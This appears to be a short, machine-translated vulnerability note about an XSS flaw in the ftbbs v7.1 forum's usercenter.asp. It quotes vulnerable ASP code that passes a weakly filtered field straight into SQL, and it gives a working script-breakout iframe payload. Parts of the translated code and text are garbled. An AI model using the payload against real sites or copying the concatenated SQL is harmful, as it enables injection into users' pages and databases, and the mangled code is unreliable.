Apsara forum personal space XSS Vulnerability

Source: Internet
Author: User

Author: curious

Version: ftbbs v7.1 (static installation version) seems to be the latest

Vulnerability page: usercenter. asp

The vulnerability is caused by loose filtering of blogmid.

Blogmid = Checkstr (request. form ("blogmid "))
If blogmid <> "" then
SQL = "update" & ft & "clubuser set blog_mid =" & blogmid & "where clubuser_id =" & userid
Conn.exe cute SQL
End if

Although the above blogmid is filtered by Checkstr (),

Check the Code in the following Checkstr ().

Function Checkstr (Str)
If Isnull (Str) Then
CheckStr = ""
Exit Function
End If
Str = Replace (Str, Chr (0 ),"")
Str = Replace (Str, "success ,",","‚")
CheckStr = Replace (Str ,"","")
End Function

Only empty chr (0) is filtered out ),

The first one does not know how to explain. Sorry.

I feel like it is not related to our <iframe src = http://www.bkjia.com> </iframe>

However, enter <iframe src = http://www.bkjia.com> </iframe> directly on the home page does not display

It is closed by <script> </script>.

Enter </script> <iframe src = http://www.bkjia.com> </iframe>

Remember the previous picture


Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.